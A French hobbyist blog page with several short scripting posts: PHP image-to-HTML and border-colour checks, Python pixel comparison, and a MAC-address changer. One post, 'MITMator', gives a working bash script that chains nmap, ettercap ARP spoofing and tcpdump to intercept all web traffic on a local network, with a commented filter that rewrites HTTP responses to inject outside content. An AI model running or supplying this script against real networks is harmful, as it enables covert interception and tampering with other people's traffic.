Convertir une image en tableau HTML en PHP

Classé dans : HTML/CSS/JavaScript, Php | aucun commentaire

15
09 | 14

Pour le fun je me suis fait un script PHP qu me converti une image en tableau HTML

 

 

<?php
error_reporting(E_ALL); 
ini_set("display_errors", 1); 
function genImg($filename, $opacity="1") {
    if ( ( preg_match('/.*\.png$/i',$filename) || preg_match('/.*\.jpg$/i',$filename) || preg_match('/.*\.gif$/i',$filename) ) &&  file_exists($filename) ) {
        if (preg_match('/.*\.png$/i',$filename)) {
            $im = imagecreatefrompng($filename);
        } else if (preg_match('/.*\.jpg$/i',$filename) || preg_match('/.*\.jpeg$/i',$filename) ) {
            $im = imagecreatefromjpeg($filename);
        } else if (preg_match('/.*\.gif$/i',$filename)) {
            $im = imagecreatefromgif($filename);
        }
        $npx=0;
        $size = getimagesize($filename);
        $html= "<table cellpadding='0' cellspacing='0' style='width:".$size[0]."px!important;height:".$size[1]."px;' width='".$size[0]."px' height='".$size[1]."px'>";
        for ($i=1; $i<=$size[1]-1; $i++) {
            $html.= "<tr>";
            for ($ii=1; $ii<=$size[0]-1; $ii++) {
                $rgb = imagecolorat($im, $ii, $i);
                $r = ($rgb >> 16) & 0xFF;
                $g = ($rgb >> 8) & 0xFF;
                $b = $rgb & 0xFF;
                $html.= "<td style='width:1px!important;background-color:rgba(".$r.",".$g.",".$b.",".$opacity.");'></td>";
            }
            $html.= "</tr>";
        }
        $html.= "</table>";
    }
    return $html;
}

$fl="ex-img2html/php.jpg";
if (file_exists($fl)) {
    echo "<u>Image d'origine :</u><br>".
        "<img src='".$fl."'><br><br>".
        "<u>Image convertie :</u><br>".
        genImg($fl);
}

?>

 

Voir la démo

++

Récupérer les couleurs des bordures d'une image en PHP

Classé dans : Php | aucun commentaire

15
09 | 14

 

Salut,

Cette petite routine vous permettra de récupérer les couleurs des bordures d'une image et de retourner un pourcentage de corrélation. Cela me permet de détecter les images n'ayant pas de fond blanc pour le catalogue Google par exemple.

function scanImgBorderColor($filename, $ro=255, $go=255, $bo=255) {
    if ( ( preg_match('/.*\.png$/',$filename) || preg_match('/.*\.jpg$/',$filename) || preg_match('/.*\.gif$/',$filename) ) &&  file_exists($filename) ) {
        if (preg_match('/.*\.png$/',$filename)) {
            $im = imagecreatefrompng($filename);
        } else if (preg_match('/.*\.jpg$/',$filename) || preg_match('/.*\.jpeg$/',$filename) ) {
            $im = imagecreatefromjpeg($filename);
        } else if (preg_match('/.*\.gif$/',$filename)) {
            $im = imagecreatefromgif($filename);
        }
        $npx=0;
        $size = getimagesize($filename);
        for ($i=1; $i<=$size[0]-1; $i++) {
            $rgb = imagecolorat($im, 1, $i);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            if ($r < $ro && $g < $go && $b < $bo ) {
                $npx++;
            }
            $rgb = imagecolorat($im, $size[1]-1, $i);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            if ($r < $ro && $g < $go && $b < $bo) {
                $npx++;
            }
        }
        
        for ($i=1; $i<=$size[1]-1; $i++) {
            $rgb = imagecolorat($im, $i, 1);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            if ($r < $ro && $g < $go && $b < $bo) {
                $npx++;
            }
            $rgb = imagecolorat($im, $i, $size[0]-1);
            $r = ($rgb >> 16) & 0xFF;
            $g = ($rgb >> 8) & 0xFF;
            $b = $rgb & 0xFF;
            if ($r < $ro && $g < $go && $b < $bo) {
                $npx++;
            }
        }
        $allpx=(($size[0]-1)*2)+(($size[1]-1)*2);
        $endpx=100-(($npx/$allpx)*100);
        return $endpx;
    }
}

if (scanImgBorderColor('img001.png', 250, 250, 250)>=90) {
    //image ok
} else {
    //image trop sombre
}

voilii voiloo ++

MITMator ou comment sniffer votre réseau en une commande

Classé dans : Shell/Bash, RaspberryPI, Hack | aucun commentaire

12
09 | 14

Toujours en perpétuelle apprentissage, en se moment je suis plutot orienté réseaux. Je voulais voir si il été possible de pomper toutes les requêtes web de mon réseau. À ma grande surprise, je suis tombé sur énormément de documention sur tcpdump, nmap, et  ettercap traitant de ce suget. Autant vous dire que ça peut faire peur devil

Comme d'habitude je me suis fait un script (avec ce que j'ai trouver sur le net), qui fait tout tout seul...enfin presque cheeky

Script mitmator.sh:

#! /bin/bash

function sniff() {
    if [[ "$2" != "" ]]; then
        param=" $2"
    else
        param=""
    fi
    echo "tcpdump -i $1 -n -w \"`date +%Y-%m-%d-%H:%M`.dump\" $param"
    tcpdump -i $1 -n -w "`date +%Y-%m-%d-%H:%M`.dump" $param
    kill -9 `cat ettercap.pid`
    echo "Reprise dans 5 secondes..."
    sleep 5
    if [[ "$Mmitm" == "y" ]]; then
        mitm_noread
    fi
    sniff "$1" "$param"
}

function mitm() {
    echo -n "MITM [y/n(default)]? "
    #via le code en commentaire ci-dessous créer un fichier "filter.ett" et ajouter l'option "-F filter.ett" à la commande ettercap "ettercap -T -q -F filter.ett -M ARP $t1 $t2"
    #
    #if (ip.proto == TCP && tcp.dst == 80) {
    #   if (search(DATA.data, "Accept-Encoding")) {
    #      replace("Accept-Encoding", "Accept-Rubbish!"); 
    #	  # note: replacement string is same length as original string
    #      msg("zapped Accept-Encoding!\n");
    #   }
    #}
    #if (ip.proto == TCP && tcp.src == 80) {
    #   replace("img src=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
    #   replace("IMG SRC=", "img src=\"http://www.irongeek.com/images/jollypwn.png\" ");
    #   msg("Filter Ran.\n");
    #}
    read mitm
    if [[ "$mitm" == "y" ]]; then
        Mmitm="y"
        echo "ex: /192.168.1.1//"
        echo -n "Target 1> "
        read t1
        echo -n "Target 2> "
        read t2
        Tt1=$t1
        Tt2=$t2
        if [[ "$t1" == "" ]]; then 
            t1="///"
            Tt1="///"
        fi
        if [[ "$t2" == "" ]]; then 
            t2="///"
            Tt1="///"
        fi
        echo "ettercap -T -q -i $interface -M ARP:remote $t1 $t2 &"
        ettercap -T -q -i $interface -M ARP:remote $t1 $t2 &
        echo $! > ettercap.pid
        sleep 5
        
        
    fi
}

function mitm_noread() {
        echo "ettercap -T -q -i $interface -M ARP:remote $Tt1 $Tt2 &"
        ettercap -T -q -i $interface -M ARP:remote $Tt1 $Tt2 &
        echo $! > ettercap.pid
        sleep 5
}
Mmitm="n"
Tt1="///"
Tt2="///"
interface=$1
baseip=$2

if [[ "`whoami`" != "root" ]]; then
    sudo $0 $*
    exit 1
else
    if [[ "$1" != "" ]]; then
        interface=$1
        baseip=$2
    else
        interface="eth0"
        baseip="192.168.1.0"
    fi
    
    echo "nmap -sP $baseip/24"
    nmap -sP $baseip/24
    mitm $interface
    if [[ "$3" != "" ]]; then
        if [[ "$3" == "-q" ]]; then
            prm=""
        else
            echo "tcpdump -i $interface -n -w \"`date +%Y-%m-%d-%H:%M`.dump\" $3 \\"
            echo -n "> "
            read prm1
            prm="$3 $prm1"
        fi
    else
        echo "tcpdump -i $interface -n -w \"`date +%Y-%m-%d-%H:%M`.dump\" \\"
        echo -n "> "
        read prm
    fi

    sniff "$interface" "$prm"
fi

 

Pour lancer la commande

mitmator.sh eth0 192.168.1.0
#ou
mitmator.sh wlan0 192.168.2.0 "port 80 or 21"

#pour passer l'étape la demande d'ajout de paramètres
mitmator.sh wlan0 192.168.2.0 -q

 

Le déroulement de MITMator

Pour commencer le script va lancer nmap histoire de vous lister les coquins qui traine sur le réseau:

nmap -sP 192.168.1.0/24

ensuite il vous propose de lancer une attaque MITM (Man in the middle). tapez 'y' et définissez la Target 1> /192.168.1.1// , ensuite laisser vide la Target 2 par défault ça mettra /// .  Ça lance la commande ettercap suivante

ettercap -T -q -i eth0 -M ARP:remote /192.168.1.1// /// &
echo $! > ettercap.pid

pour finir il lance le sniffage avec tcpdump, mais avant il vous propose de rajouter des paramètres à tcpdump

tcpdump -i eth0 -n -w "`date +%Y-%m-%d-%H:%M`.dump" \\
>

cela lancera la récupération et vous crééra un fichier daté .dump que vous pourrez ouvrir avec le logiciel Wireshark. Si le dump coupe il reprendra 5 seconde après. Si vous souhaitez stopper le dump en cours faite ctrl+C il affichera "Reprise dans 5 seconde..." et si vous voulez quitter MITMator refaite ctrl+C

J'ai mis en commentaire dans le code un petit exemple de filtre ettercap (source)...très intéréssant :-P

merci à internet et c'est différents moteurs de recherche, ainsi et surtout aux bloggueurs ayant partagés leurs savoirs et m'ayant permis de faire ce petit script ;-)

++

Récupérer les pixels d'une image en python et comparer deux images.

Classé dans : Shell/Bash, Python | aucun commentaire

11
09 | 14

J'ai eu besoin de faire un petit script me permettant de comparer deux images. Pour se faire j'ai décidé de récupérer tout les pixels d'une image pour ensuite les traiter à ma guise (p'tain de pub).
En trainant sur la toile, je suis tombé sur un magnifique blog où j'ai trouvé mon bonheur blush ici même

 

Script python "imgcolor.py" utilisant PIL, sys, os:

#!/usr/bin/python
# -*- coding: utf-8 -*-

import sys, os
from PIL import Image

if not os.path.isfile(sys.argv[1]):
    print "ERREUR: '"+sys.argv[1]+"' n'est pas un fichier."
    exit(1)
im = Image.open(sys.argv[1], 'r')
pix_val = list(im.getdata())
pix_val_flat = [x for sets in pix_val for x in sets]
for element in pix_val_flat:
    print element
exit(0)

vous pourrez ensuite par exemple, comparer deux images via une ligne de Shell/Bash

if [[ `./imgcolor.py 001.png` == `./imgcolor.py 002.png` ]]; then echo "ok"; else echo "no"; fi

ou encore

if [[ `./imgcolor.py 001.png` == `./imgcolor.py 002.png` ]]; then
    echo "ok"
else
    echo "no"
fi

ou bien

./imgcolor.py 001.png | while read color; do
    #Traitement perso par pixel
done

vous l'aurez compris, les possibilitées sont multiple cheeky

++

Modifier votre addresse MAC

Classé dans : Shell/Bash, Hack | aucun commentaire

03
09 | 14

Voilà un petit pour changer votre addresse Mac à la volé. Ce script utilise macchanger

 

 

Utilisation:

$ sudo macedit eth0 xx:xx:xx:xx:d6:6e

-----------------------------------------

Current MAC:   xx:xx:xx:xx:c6:1e (GIGA-BYTE TECHNOLOGY CO.,LTD.)

Permanent MAC: xx:xx:xx:xx:c6:1e (GIGA-BYTE TECHNOLOGY CO.,LTD.)

New MAC:       xx:xx:xx:xx:d6:6e (ZyXEL Communications Corporation)

-----------------------------------------

eth0      Link encap:Ethernet  HWaddr xx:xx:xx:xx:d6:6e

          inet adr:192.168.1.30  Bcast:192.168.1.255  Masque:255.255.255.0

          UP BROADCAST MULTICAST  MTU:1500  Metric:1

          RX packets:136102 errors:0 dropped:0 overruns:0 frame:0

          TX packets:71618 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 lg file transmission:1000 

          RX bytes:108035994 (103.0 MiB)  TX bytes:8380184 (7.9 MiB)


lo        Link encap:Boucle locale  

          inet adr:127.0.0.1  Masque:255.0.0.0

          adr inet6: ::1/128 Scope:Hôte

          UP LOOPBACK RUNNING  MTU:65536  Metric:1

          RX packets:174 errors:0 dropped:0 overruns:0 frame:0

          TX packets:174 errors:0 dropped:0 overruns:0 carrier:0

          collisions:0 lg file transmission:0 

          RX bytes:17108 (16.7 KiB)  TX bytes:17108 (16.7 KiB)
 
Script:
#! /bin/bash

if [[ "`whoami`" != 'root' ]]; then
    echo "restart with root permissions"
    exit 1
fi
exist=`dpkg -l | grep macchanger`
[[ $? -eq 1 ]] && apt-get install macchanger
service network-manager stop
service networking stop
ifconfig $1 down
echo "-----------------------------------------"
macchanger --mac=$2 $1
echo "-----------------------------------------"
ifconfig $1 up
service networking start
service network-manager start
ifconfig
exit 0
++

 

page 1 sur 8 suivante »

Derniers articles



Derniers commentaires